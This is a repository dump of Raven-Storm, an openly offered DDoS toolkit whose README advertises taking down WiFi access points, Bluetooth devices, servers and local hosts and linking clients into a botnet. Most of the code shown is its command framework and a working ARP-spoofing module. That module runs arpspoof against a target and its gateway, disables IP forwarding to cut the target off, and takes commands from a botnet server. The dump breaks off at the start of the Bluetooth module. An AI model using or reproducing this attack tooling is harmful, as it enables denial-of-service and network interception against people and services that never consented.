├── .github ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md └── pull_request_template.md ├── .gitignore ├── CODE_OF_CONDUCT.md ├── INSTALLATION.md ├── LICENSE ├── README.md ├── Raven-Storm ├── CLIF_Framework │ └── framework.py ├── main.py ├── modules │ ├── arp │ │ └── main.py │ ├── bl │ │ └── main.py │ ├── l3 │ │ └── main.py │ ├── l4 │ │ └── main.py │ ├── l7 │ │ └── main.py │ ├── main.py │ ├── scanner │ │ └── main.py │ ├── server │ │ └── main.py │ └── wifi │ │ └── main.py └── uninstall.sh ├── _config.yml ├── install.sh ├── install_to_bin.sh ├── main.py └── requirements.txt /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: Issue name 5 | method: L4, L3, ... 6 | 7 | --- 8 | 9 | **Describe the bug** 10 | A clear and concise description of what the bug is. 11 | 12 | **To Reproduce** 13 | Steps to reproduce the behavior: 14 | 15 | **Expected behavior** 16 | A clear and concise description of what you expected to happen. 17 | 18 | **OS:** 19 | Linux, Windows, OSX 20 | 21 | **Additional context** 22 | Add any other context about the problem here. 23 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: Request name 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the solution you'd like:** 11 | A clear and concise description of what you want to happen. 12 | 13 | **Additional context:** 14 | Add any other context or screenshots about the feature request here. 15 | -------------------------------------------------------------------------------- /.github/pull_request_template.md: -------------------------------------------------------------------------------- 1 | ## Proposed Changes: 2 | 3 | - 4 | - 5 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, sex characteristics, gender identity and expression, 9 | level of experience, education, socio-economic status, nationality, personal 10 | appearance, race, religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at taguar258@hash.fyi. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | For answers to common questions about this code of conduct, see 76 | https://www.contributor-covenant.org/faq 77 | -------------------------------------------------------------------------------- /INSTALLATION.md: -------------------------------------------------------------------------------- 1 | # Raven-Storm 2 | 3 | Advanced - Expert - Other operating systems - Uninstall 4 | 5 | ## Lazy installer 6 | (Advanced) 7 | 8 | To install Raven-Storm enter the following command: 9 | 10 | (You might need to install curl) 11 | 12 | ```curl -s https://raw.githubusercontent.com/Taguar258/Raven-Storm/master/install.sh | sudo bash -s``` 13 | 14 | ![render1604868703436](https://user-images.githubusercontent.com/36562445/98484164-d0ec5300-220d-11eb-8fe5-0c9d4d2103e6.gif) 15 | 16 | ## Or start your Unix terminal and type in following 17 | 18 | (Expert) 19 | 20 | ```sudo pkg/pacman/apt-get/brew install git python3 nmap python3-setuptools bluez dsniff iputils-ping aircrack-ng``` 21 | 22 | ```git clone https://github.com/Taguar258/Raven-Storm/``` 23 | 24 | ```cd Raven-Storm``` 25 | 26 | ```sudo bash install_to_bin.sh``` 27 | 28 | ```sudo rst``` 29 | 30 | ## Other Operating Systems 31 | 32 | (Unix based systems like Linux and MacOS/OSX run Raven-Storm nativly.) 33 | (In case you want to use Raven-Storm on Windows, you will just need to perform the steps listed below, but keep in mind that it will not run as stable and not every module will work.) 34 | 35 | Just install python 3.8 and download this repository. 36 | 37 | You will then need to install the requirements (requirements.txt) and execute main.py. 38 | 39 | 0. Install Python (3.8) (3.6 should work as well.) (On windows, make sure to enable add to PATH.) 40 | 41 | 1. Download Zip 42 | 43 | 2. Unzip 44 | 45 | 3. Open terminal in the Raven-Storm folder. (On windows you should be able to just right click the folder while holding down the shift key, you can then click on open in Powershell (administrator).) 46 | 47 | 4. Install the requirements. 48 | 49 | `pip install -r requirements.txt` 50 | 51 | 5. Execute Raven-Storm. 52 | 53 | `python main.py` 54 | 55 | (You might need to add a 3 directly after python and pip.) 56 | 57 | ## Uninstall 58 | 59 | Just execute the folowing: 60 | 61 | ``` 62 | sudo bash /usr/share/Raven-Storm/uninstall.sh 63 | ``` 64 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Modified: Copyright (c) 2020 Taguar258 [Raven-Storm] 4 | Based on: Copyright (c) 2020 Taguar258 [CLIF Framework] 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Raven-Storm Toolkit 2 | 3 | 4 | 5 | **Raven-Storm is a powerful DDoS toolkit for penetration tests, including attacks for several protocols written in python(3.8).** 6 | 7 | Takedown WiFi access points, devices in your network, servers, services, and Bluetooth devices with ease. 8 | 9 | Raven(abbreviation) is desinged to help you to **test, understand, and learn from stress-testing** attacks. 10 | 11 | Raven can **deal with strong servers** and **can be optimized** for non typical targets. 12 | 13 | Raven will fit your purpose, even if it is **jamming down wifi networks or bluetooth devices**. 14 | 15 | _I archived this repository because I currently do not want to work on it._ 16 | 17 | ![MOSHED](https://user-images.githubusercontent.com/36562445/90558504-77d7ca80-e19c-11ea-9dd5-6ba902934866.gif) 18 | 19 | ## What makes it different 20 | 21 | - [x] Raven-Storm includes tools for creating shorcuts and working more efficiently. 22 | - [x] Raven is **Effective** and **powerful** in shutting down hosts and servers. 23 | - [x] **Testing** and understanding are the goals of Raven-Storm. 24 | - [x] Raven lets you connects clients together to create a botnet. 25 | - [x] Features different protocols such as UDP/TCP, ICMP, HTTP, L2CAP, ARP and IEEE. 26 | 27 | ## Installation 28 | 29 | Just enter the following line to install Raven-Storm on Linux. 30 | 31 | ```bash 32 | curl -s https://raw.githubusercontent.com/Taguar258/Raven-Storm/master/install.sh | sudo bash -s 33 | ``` 34 | 35 | Click here for the more detailed installation guide. 36 | 37 | 38 | Terms of Use 39 | 40 | Licence 41 | 42 | Project status/ToDo 43 | 44 | CLIF Framework 45 | 46 | ## What module to use 47 | 48 | | Method | Module | 49 | | ------- | --- | 50 | | ping | l3 | 51 | | udp/tcp services | l4 | 52 | | websites | l7 | 53 | | local devices | arp | 54 | | bluetooth | bl | 55 | | wifi | wifi | 56 | | botnet | server | 57 | 58 | _Try using the L4 attack if L7 fails._ 59 | 60 | 61 | ![Preview1](https://user-images.githubusercontent.com/36562445/98484349-152c2300-220f-11eb-84a0-1c3c57415d64.png) 62 | 63 | ![Preview2](https://user-images.githubusercontent.com/36562445/98694260-8552ba00-2371-11eb-9e20-fd5432c90849.png) 64 | 65 | 66 | ## Example 67 | 68 | ![Gif](https://user-images.githubusercontent.com/36562445/98694347-a0252e80-2371-11eb-95ec-925e8c98948f.gif) 69 | 70 | 71 | ## How to run a DDoS attack 72 | 73 | _You probably already know the difference between DoS and DDoS:_ 74 | _A DoS Attack is run by a single Maschine and a DDoS Attack by multiple._ 75 | 76 | _But how do we perform a DDoS Attack using Raven-Storm?_ 77 | 78 | 79 | To connect multiple instances of Raven-Storm, you will then need to open a host. 80 | Just execute the command `server` and define a custom password to prevent others from interfering. 81 | When run, you will receive a URL that you can connect to when executing the `ddos` command. 82 | 83 | 84 | ## Info and Warning 85 | 86 | __THE CREATOR (Taguar258) OF THE RAVEN-STORM TOOLKIT DOES NOT TAKE ANY RESPONSIBILITY FOR DAMAGE CAUSED. THE USER ALONE IS RESPONSIBLE, BE IT: ABUSING RAVEN-STORM TO FIT ILLEGAL PURPOSES OR ACCIDENTAL DAMAGE CAUSED BY RAVEN-STORM. 87 | THE CREATOR DID NOT INTEND RAVEN-STORM AS A TOOL FOR ILLEGAL PURPOSES AND THEREFORE DOES NOT SUPPORT ANY ILLEGAL ABUSE OF THIS TOOL. 88 | BY USING THIS SOFTWARE, YOU MUST AGREE TO TAKE FULL RESPONSIBILITY FOR DAMAGE CAUSED BY RAVEN-STORM IN ANY WAY ON YOUR OWN. 89 | THE CREATOR DOES NOT WANT PEOPLE TO USE RAVEN-STORM IF THEY DO NOT HAVE EXPERIENCE WITH THE ATTACKS INCLUDED. 90 | EVERY ATTACK WILL CAUSE TEMPORARY DAMAGE, BUT LONG-TERM DAMAGE IS DEFFINITIFLY POSSIBLE. 91 | RAVEN-STORM SHOULD NOT SUGGEST PEOPLE TO PERFORM ILLEGAL ACTIVITIES.__ 92 | 93 | __THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 94 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 95 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 96 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 97 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 98 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 99 | SOFTWARE.__ 100 | 101 | **MIT Taguar258 2020** 102 | 103 | -------------------------------------------------------------------------------- /Raven-Storm/CLIF_Framework/framework.py: -------------------------------------------------------------------------------- 1 | # The CLIF Framework has been programmed by Taguar258 and is published under the MIT License. 2 | 3 | import importlib 4 | 5 | 6 | class console_read_only(type): 7 | def __setattr__(self, name, value): 8 | if name == "objects": 9 | raise Exception("Variable cannot be called objects.") 10 | 11 | 12 | class console: 13 | __metaclass__ = console_read_only 14 | 15 | def __init__(self): 16 | self.objects = [] 17 | self.ps1 = ":: " 18 | self.command_split = " " 19 | self.running = True 20 | self.command_log = [] 21 | self.debug_command = False 22 | self.run_command = [] 23 | 24 | def add(self, object_item, event): 25 | self.objects.append([object_item, event]) 26 | 27 | def stop(self): 28 | self.running = False 29 | 30 | def input(self, command, show_print): 31 | self.run_command = [command, show_print] 32 | 33 | def _run_event(self, name): 34 | self.command_log.append(str(name)) 35 | if isinstance(name, list): 36 | for object_item in self.objects: 37 | event_object = object_item[1] 38 | for event in event_object.event_events: 39 | for n in name: 40 | if event.__name__ == n: 41 | event() 42 | elif isinstance(name, str): 43 | for object_item in self.objects: 44 | event_object = object_item[1] 45 | for event in event_object.event_events: 46 | if event.__name__ == name: 47 | event() 48 | 49 | def event(self, name): 50 | self._run_event(name) 51 | 52 | def run(self): 53 | self.running = True 54 | self._run_event(["on_start", "on_ready"]) 55 | 56 | while self.running: 57 | self._run_event("on_input") 58 | if len(self.run_command) == 2: 59 | console_command = str(self.run_command[0]) 60 | if self.run_command[1]: 61 | print(self.ps1 + self.run_command[0]) 62 | else: 63 | try: 64 | console_command = input(self.ps1) 65 | except KeyboardInterrupt: 66 | self._run_event("on_interrupt") 67 | break 68 | if console_command == "" or console_command == " ": 69 | continue 70 | 71 | for object_item in self.objects: 72 | event_object = object_item[1] 73 | for event in event_object.event_events: 74 | if event.__name__ == "on_command": 75 | try: 76 | event(console_command) 77 | except Exception: 78 | event() 79 | 80 | self.command_log.append(str(console_command)) 81 | 82 | command_found = False 83 | 84 | for object_item in self.objects: 85 | event_object = object_item[1] 86 | for command in event_object.event_commands: 87 | if self.debug_command: 88 | print(command[0].replace("_", self.command_split), self.command_split.join(console_command.split(self.command_split)[:(1 + (command[0].replace("_", self.command_split).count(self.command_split)))])) 89 | if command[0].replace("_", self.command_split) == self.command_split.join(console_command.split(self.command_split)[:(1 + (command[0].replace("_", self.command_split).count(self.command_split)))]): 90 | command_found = True 91 | self._run_event("on_command_found") 92 | parser_exists = False 93 | for parser in event_object.event_parsers: 94 | if isinstance(parser[0], list): 95 | for parser_command in parser[0]: 96 | if parser_command[0] == command[0]: 97 | command[1](parser_command[1](console_command)) 98 | parser_exists = True 99 | break 100 | if parser_exists: 101 | break 102 | elif isinstance(parser[0], str): 103 | if parser[0] == command[0]: 104 | command[1](parser[1](console_command)) 105 | parser_exists = True 106 | break 107 | try: 108 | if not parser_exists: 109 | command[1](console_command) 110 | except Exception: 111 | command[1]() 112 | 113 | if not command_found: 114 | self.command_log.append(str("on_command_not_found")) 115 | for object_item in self.objects: 116 | event_object = object_item[1] 117 | for event in event_object.event_events: 118 | if event.__name__ == "on_command_not_found": 119 | try: 120 | event(console_command) 121 | except Exception: 122 | event() 123 | 124 | 125 | def module(module, console, *args): 126 | new = importlib.import_module(module) 127 | if len(args) == 0: 128 | new.setup(console) 129 | else: 130 | new.setup(console, args) 131 | del(new) 132 | 133 | 134 | class tools: 135 | def __init__(self): 136 | pass 137 | 138 | def arg(self, label, comname, com): 139 | if len(com.split(comname)) == 2: 140 | if com.split(comname)[1] == "": 141 | zw = input("%s" % label) 142 | else: 143 | zw = com.split(comname)[1] 144 | print("%s%s" % (label, zw)) 145 | else: 146 | zw = input("%s" % label) 147 | return zw 148 | 149 | def help(self, startline, splitter, event): 150 | if event.help_text_title != "": 151 | print(event.help_text_title) 152 | max_len = 0 153 | for help_item in event.help_list: 154 | if len(help_item) == 2: 155 | if isinstance(help_item[0], list): 156 | if len(", ".join(help_item[0])) > max_len: 157 | max_len = len(", ".join(help_item[0])) 158 | elif isinstance(help_item[0], str): 159 | if len(help_item[0]) > max_len: 160 | max_len = len(help_item[0]) 161 | for help_item in event.help_list: 162 | # print(help_item) 163 | if len(help_item) == 2: 164 | if "[" in help_item[0]: 165 | split_help = help_item[0].strip('][').split(', ') 166 | help_item[0] = (", ".join(split_help[:-1]) + " or " + split_help[-1]).replace("'", "") 167 | length = (" " * (max_len - len(help_item[0]))) 168 | print(startline + ("%s%s" % (length, splitter)).join(help_item)) 169 | elif len(help_item) == 1: 170 | print(help_item[0]) 171 | 172 | def question(self, question): 173 | ans = input(question + " (Y/N) ").lower() 174 | if ans == "y": 175 | return True 176 | else: 177 | return False 178 | 179 | 180 | class event: 181 | def __init__(self): 182 | self.event_events = [] 183 | self.event_commands = [] 184 | self.event_parsers = [] 185 | self.help_list = [] 186 | self.help_text_title = "" 187 | 188 | def log(self): 189 | print("Events:", self.event_events) 190 | print("Commands:", self.event_commands) 191 | print("Parsers:", self.event_parsers) 192 | print("Help:", self.help_list) 193 | 194 | def event(self, function): 195 | self.event_events.append(function) 196 | 197 | def command(self, function): 198 | self.event_commands.append([function.__name__, function]) 199 | 200 | def help(self, function_name, message): 201 | if isinstance(function_name, list): 202 | self.help_list.append([str(function_name), message]) 203 | elif isinstance(function_name, str): 204 | self.help_list.append([function_name, message]) 205 | 206 | def help_title(self, title): 207 | self.help_text_title = str(title) 208 | 209 | def help_comment(self, comment): 210 | self.help_list.append([comment]) 211 | 212 | def commands(self, function, lt): 213 | if isinstance(lt, list): 214 | for name in lt: 215 | self.event_commands.append([name, function]) 216 | elif isinstance(lt, str): 217 | self.event_commands.append([lt, function]) 218 | 219 | def parser(self, function, command): 220 | self.event_parsers.append([command, function]) 221 | 222 | # get_tools = tools() 223 | # get_event = event() 224 | -------------------------------------------------------------------------------- /Raven-Storm/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # 2020 4 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 5 | # The Raven-Storm Toolkit is published under the MIT Licence. 6 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 7 | # The CLIF-Framework is programmed and developed by Taguar258. 8 | # The CLIF-Framework is published under the MIT Licence. 9 | 10 | from sys import argv 11 | 12 | from CLIF_Framework.framework import console, module # noqa: I900 13 | 14 | 15 | def run(): 16 | main_console = console() 17 | main_console.rsversion = "4.1 (Pre)" 18 | main_console.user_argv = argv 19 | 20 | module("modules.main", main_console) 21 | 22 | main_console.run() 23 | 24 | 25 | if __name__ == "__main__": 26 | run() 27 | -------------------------------------------------------------------------------- /Raven-Storm/modules/arp/main.py: -------------------------------------------------------------------------------- 1 | # 2020 2 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 3 | # The Raven-Storm Toolkit is published under the MIT Licence. 4 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 5 | # The CLIF-Framework is programmed and developed by Taguar258. 6 | # The CLIF-Framework is published under the MIT Licence. 7 | 8 | from os import getcwd, name, path, popen, system 9 | from sys import version 10 | from threading import Thread 11 | from time import sleep 12 | 13 | import requests 14 | from CLIF_Framework.framework import event # noqa: I900 15 | from CLIF_Framework.framework import tools # noqa: I900 16 | 17 | try: 18 | from os import geteuid 19 | 20 | geteuid_exists = True 21 | except ImportError: 22 | geteuid_exists = False 23 | 24 | event = event() 25 | tools = tools() 26 | 27 | 28 | class Main: 29 | def __init__(selfie, console): # noqa: N805 30 | global self 31 | global var 32 | self = selfie 33 | var = console # noqa: VNE002 34 | 35 | self._add_commands() 36 | 37 | # Colors 38 | var.C_None = "\x1b[0;39m" 39 | var.C_Bold = "\x1b[1;39m" 40 | var.C_Green = "\x1b[32m" 41 | var.C_Violet = "\x1b[34m" 42 | var.C_Dark_Blue = "\x1b[35m" 43 | var.C_Red = "\x1b[31m" 44 | 45 | var.interface = "eth0" 46 | var.target = "" 47 | var.gateway = "192.168.0.1" 48 | 49 | var.ip_forwarding_default = 1 50 | var.arp_debug = False 51 | 52 | def _add_commands(self): 53 | event.commands(self.exit_console, ["exit", "quit", "e", "q"]) 54 | event.commands(self.show_values, ["values", "ls"]) 55 | event.command(self.help) 56 | 57 | event.commands(self.run_shell, ".") 58 | event.commands(self.debug, "$") 59 | 60 | event.help(["values", "ls"], "Show all options.") 61 | 62 | event.help("gateway", "Set your gateway.") 63 | event.help("target", "Target a local ip.") 64 | event.help("interface", "Set the interface you would like to use.") 65 | 66 | event.help("run", "Run the test.") 67 | 68 | def banner(self): 69 | system("clear || cls") 70 | 71 | if "/" not in popen("command -v arpspoof").read(): 72 | input("\n[i] Please install DSniff to continue.\n[Press Enter to continue]") 73 | system("clear || cls") 74 | var.stop() 75 | return 76 | 77 | if "/" not in popen("command -v sysctl").read(): 78 | input("\n[i] Sysctl does not exist, this attack will not work.\n[Press Enter to continue]") 79 | system("clear || cls") 80 | var.stop() 81 | return 82 | 83 | if geteuid_exists: 84 | if geteuid() != 0: 85 | input("\n[i] Please run with sudo privileges.\n[Press Enter to continue]") 86 | system("clear || cls") 87 | var.stop() 88 | return 89 | 90 | var.ip_forwarding_default = popen("sudo sysctl net.ipv4.ip_forward").read().replace("net.ipv4.ip_forward = ", "") 91 | 92 | print(("""C_B----------------------------------------------------------C_W 93 | THE CREATOR DOES NOT TAKE ANY RESPONSIBILITY FOR DAMAGE CAUSED. 94 | THE USER ALONE IS RESPONSIBLE, BE IT: ABUSING RAVEN-STORM 95 | TO FIT ILLEGAL PURPOSES OR ACCIDENTAL DAMAGE CAUSED BY RAVEN-STORM. 96 | BY USING THIS SOFTWARE, YOU MUST AGREE TO TAKE FULL RESPONSIBILITY 97 | FOR ANY DAMAGE CAUSED BY RAVEN-STORM. 98 | EVERY ATTACK WILL CAUSE TEMPORARY DAMAGE, BUT LONG-TERM DAMAGE IS 99 | DEFFINITIFLY POSSIBLE. 100 | RAVEN-STORM SHOULD NOT SUGGEST PEOPLE TO PERFORM ILLEGAL ACTIVITIES. 101 | C_B----------------------------------------------------------C_W""").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 102 | self.help() 103 | 104 | def exit_console(self): 105 | print("Have a nice day.") 106 | quit() 107 | 108 | def run_shell(self, command): 109 | print("") 110 | system(tools.arg("Enter shell command: ", ". ", command)) 111 | print("") 112 | 113 | def debug(self, command): 114 | print("") 115 | eval(tools.arg("Enter debug command: ", "$ ", command)) 116 | print("") 117 | 118 | def ip_forward_disable(self): 119 | system("sudo sysctl -w net.ipv4.ip_forward=0") 120 | 121 | def ip_forward_reset(self): 122 | system("sudo sysctl -w net.ipv4.ip_forward=%s" % var.ip_forwarding_default) 123 | 124 | @event.command 125 | def clear(): 126 | system("clear || cls") 127 | 128 | @event.event 129 | def on_ready(): 130 | self.banner() 131 | 132 | @event.event 133 | def on_command_not_found(command): 134 | print("") 135 | print("The command you entered does not exist.") 136 | print("") 137 | 138 | def check_session(self): 139 | if var.session[1][0] and len(var.session[1][1]) >= 1: 140 | if len(var.session[1][1][0]) >= 1: 141 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 142 | var.session[1][1][0] = var.session[1][1][0][1:] 143 | else: 144 | var.session[1][1] = var.session[1][1][1:] 145 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 146 | var.session[1][1][0] = var.session[1][1][0][1:] 147 | var.run_command = run_following 148 | 149 | @event.event 150 | def on_input(): 151 | self.check_session() 152 | if var.server[0] and not var.server[1]: 153 | while True: 154 | data = requests.post((var.server[2] + ("get/com%s" % var.server[4])), data={"password": var.server[3]}).text 155 | if data != "500": 156 | var.server[4] = var.server[4] + 1 157 | var.run_command = [data, data] 158 | print(var.ps1 + "\r") 159 | break 160 | else: 161 | sleep(1) 162 | 163 | @event.event 164 | def on_interrupt(): 165 | print("") 166 | var.stop() 167 | 168 | @event.event 169 | def on_command(command): 170 | if var.session[0][0]: 171 | var.session[0][1].write(command + "\n") 172 | if var.server[0] and var.server[1]: 173 | status = requests.post((var.server[2] + "set/com"), data={"password": var.server[3], "data": command}).text 174 | if status != "200": 175 | print("") 176 | print("An error occured, while sending commands to the server.") 177 | print("") 178 | 179 | @event.command 180 | def debug(): 181 | var.arp_debug = True 182 | print("") 183 | print("Debugging mode enabled.") 184 | print("") 185 | 186 | def show_values(self): 187 | print("") 188 | print("Interface: %s" % var.interface) 189 | print("Target: %s" % var.target) 190 | print("Gateway: %s" % var.gateway) 191 | print("") 192 | 193 | def help(self): 194 | event.help_title("\x1b[1;39mARP Help:\x1b[0;39m") 195 | tools.help("|-- ", " :: ", event) 196 | print("") 197 | 198 | @event.command 199 | def target(command): 200 | print("") 201 | var.target = tools.arg("IP: ", "target ", command) 202 | if "." not in var.target: 203 | print("This IP is invalid.") 204 | print("") 205 | 206 | @event.command 207 | def gateway(command): 208 | print("") 209 | var.gateway = tools.arg("IP: ", "gateway ", command) 210 | if "." not in var.gateway: 211 | print("This IP is invalid.") 212 | print("") 213 | 214 | @event.command 215 | def interface(command): 216 | print("") 217 | var.interface = tools.arg("Interface: ", "interface ", command) 218 | print("") 219 | 220 | def arp_target(self): 221 | try: 222 | system("sudo arpspoof -i %s -t %s %s &" % (var.interface, var.target, var.gateway)) 223 | var.command_log.append("Sucessful execution.") 224 | except Exception as ex: 225 | var.command_log.append("ERROR: %s" % ex) 226 | print("ERROR: %s" % ex) 227 | 228 | def arp_router(self): 229 | try: 230 | system("sudo arpspoof -i %s -t %s %s &" % (var.interface, var.gateway, var.target)) 231 | var.command_log.append("Sucessful execution.") 232 | except Exception as ex: 233 | var.command_log.append("ERROR: %s" % ex) 234 | print("ERROR: %s" % ex) 235 | 236 | @event.command 237 | def run(): 238 | def execute(): 239 | print("") 240 | print("To stop the attack press: ENTER or CTRL + C") 241 | print("") 242 | 243 | var.ps1 = "" # Change due to threading bug. 244 | 245 | sleep(3) 246 | print("Seting ip_forward to 0...") 247 | self.ip_forward_disable() 248 | print("") 249 | try: 250 | for target in [self.arp_target, self.arp_router]: 251 | t = Thread(target=target) 252 | t.start() 253 | except Exception: 254 | print("Could not start the attack.") 255 | 256 | def reset_attack(): 257 | print("Stopping threads...") 258 | system("sudo killall -SIGINT arpspoof") 259 | sleep(2) 260 | while True: 261 | out_exec = popen("pgrep arpspoof").read() 262 | do_break = True 263 | for char in str(out_exec): 264 | if char.isdigit(): 265 | do_break = False 266 | if do_break: 267 | break 268 | sleep(2) 269 | 270 | self.ip_forward_reset() 271 | if var.arp_debug: 272 | print("Saving debugging log...") 273 | output_to = path.join(getcwd(), "arp_debug_log.txt") 274 | 275 | write_method = "a" 276 | if path.isfile(output_to): 277 | write_method = "a" 278 | else: 279 | write_method = "w" 280 | 281 | output_file = open(output_to, write_method) 282 | if write_method == "a": 283 | output_file.write("------------- New Log -------------") 284 | output_file.write(str(name + "\n")) 285 | output_file.write(str(version + "\n")) 286 | output_file.write(str("\n".join(var.command_log))) 287 | output_file.close() 288 | print("Done.") 289 | quit() 290 | 291 | def check_stopped_execution(): 292 | while True: 293 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 294 | if data != "True": 295 | reset_attack() 296 | break 297 | else: 298 | sleep(1) 299 | try: 300 | if var.server[0] and var.server[0]: 301 | rec_t = Thread(target=check_stopped_execution) 302 | rec_t.start() 303 | input("\r") 304 | except KeyboardInterrupt: 305 | pass 306 | 307 | if var.server[0] and var.server[1]: 308 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 309 | if status != "200": 310 | print("An error occured, while sending data to the server.") 311 | 312 | reset_attack() 313 | 314 | if var.server[0] and not var.server[1]: 315 | while True: 316 | data = requests.post((var.server[2] + "get/agreed"), data={"password": var.server[3]}).text 317 | if data == "True": 318 | execute() 319 | break 320 | else: 321 | sleep(1) 322 | elif not tools.question("\nDo you agree to the terms of use?"): 323 | print("Agreement not accepted.") 324 | quit() 325 | else: 326 | if var.server[0] and var.server[1]: 327 | if tools.question("\nWould you like to use the host as part of the ddos?"): 328 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 329 | if status != "200": 330 | print("An error occured, while sending data to the server.") 331 | execute() 332 | else: 333 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "True"}).text 334 | if status != "200": 335 | print("An error occured, while sending data to the server.") 336 | try: 337 | print("[Press Enter to stop the attack.]") 338 | except KeyboardInterrupt: 339 | pass 340 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 341 | if status != "200": 342 | print("An error occured, while sending data to the server.") 343 | else: 344 | execute() 345 | 346 | 347 | def setup(console): 348 | console.ps1 = "ARP> " 349 | console.add(Main(console), event) 350 | -------------------------------------------------------------------------------- /Raven-Storm/modules/bl/main.py: -------------------------------------------------------------------------------- 1 | # 2020 2 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 3 | # The Raven-Storm Toolkit is published under the MIT Licence. 4 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 5 | # The CLIF-Framework is programmed and developed by Taguar258. 6 | # The CLIF-Framework is published under the MIT Licence. 7 | 8 | from os import getcwd, name, path, popen, system 9 | from sys import version 10 | from threading import Thread 11 | from time import sleep 12 | 13 | import requests 14 | from CLIF_Framework.framework import event # noqa: I900 15 | from CLIF_Framework.framework import tools # noqa: I900 16 | 17 | try: 18 | from os import geteuid 19 